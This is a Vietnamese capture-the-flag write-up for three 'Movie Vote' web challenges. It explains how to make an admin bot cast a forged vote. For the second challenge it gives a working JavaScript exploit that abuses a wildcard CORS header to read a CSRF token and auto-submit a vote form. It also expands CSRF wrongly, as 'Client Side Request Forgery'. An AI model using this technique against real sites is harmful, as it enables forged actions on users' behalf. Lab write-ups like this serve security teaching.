Write-up Movie Vote (1 + 2 + 3) - Web
-
Difficulty:
Easy
-Easy
-Easy
Description
3 challenges này đều xoay quanh Client Side Request Forgery(CSRF)
. Chúng ta được đưa 1 trang web với chức năng chính là vote up
hoặc down
cho từng bộ phim. Để có được flag thì cần lừa admin vote cho Flag
Movie Vote 1
- API khi vote cho 1 bộ phim nào đó :
/vote/{1-8}/{up,down}
- Trang web có chức năng gửi tin nhắn cho admin ở
/chat
=> Gửi cho admin 1 link nào đó để xem admin có bấm vào ko ??
=> Giả thuyết đúng. Gửi cho admin linkhttp://localhost:1337/vote/8/up
Movie Vote 2
- Khác với phần 1, dev đã thêm
csrf token
để chống CSRF/vote/{1-8}/{up,down}?csrf_token=?
- Để ý kỹ response thì chúng ta sẽ thấy 1 header hơi lạ được thêm vào
Access-Control-Allow-Origin: *
. Header này là 1 phần củaCORS(Cross-Origin Resource Sharing)
, nó cho phép hoặc hạn chế tài nguyên của 1 trang web được truy cập từ 1origin
khác, wildcard*
có nghĩa là mọi trang web đều có thể truy cập.
=> Attack Flow: Sửa lại webhook để khi admin bấm vào thì sẽ tự fetch http://localhost:1337/
để lấy token => Dùng token đó để vote cho Flag.
<form action="http://localhost:1337/" method="GET">
<input type="submit" value="submit">
</form>
<script>
const url = "http://localhost:1337/";
fetch(url)
.then((response) => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.text();
})
.then((html) => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, "text/html");
const aTags = doc.querySelectorAll("a");
const link = aTags[15];
if (link) {
console.log(link, aTags.length)
const href = link.getAttribute("href");
document.forms[0].action = url + href.substring(1, href.length);
console.log(document.forms[0].action);
document.forms[0].submit()
} else {
console.log("No <a> tag with the class 'btn btn-success' found.");
}
})
.catch((error) => {
console.error("Error fetching the URL:", error);
});
</script>
=> Chúng ta đã có flag:
Movie Vote 3
- Bài này chỉ khác ở API vote, biến thành:
/vote/1/up/dc4439dbb1fe1d309207a617cc6fd38feba5f2c927b22ec355ed213110418061
- Mình sẽ để các bạn tự làm phần này